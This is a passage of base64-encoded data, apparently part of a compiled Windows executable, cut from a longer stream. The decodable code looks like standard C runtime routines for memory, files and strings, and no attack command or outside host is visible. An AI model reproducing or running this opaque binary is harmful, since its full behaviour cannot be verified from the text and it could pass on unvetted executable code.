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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA 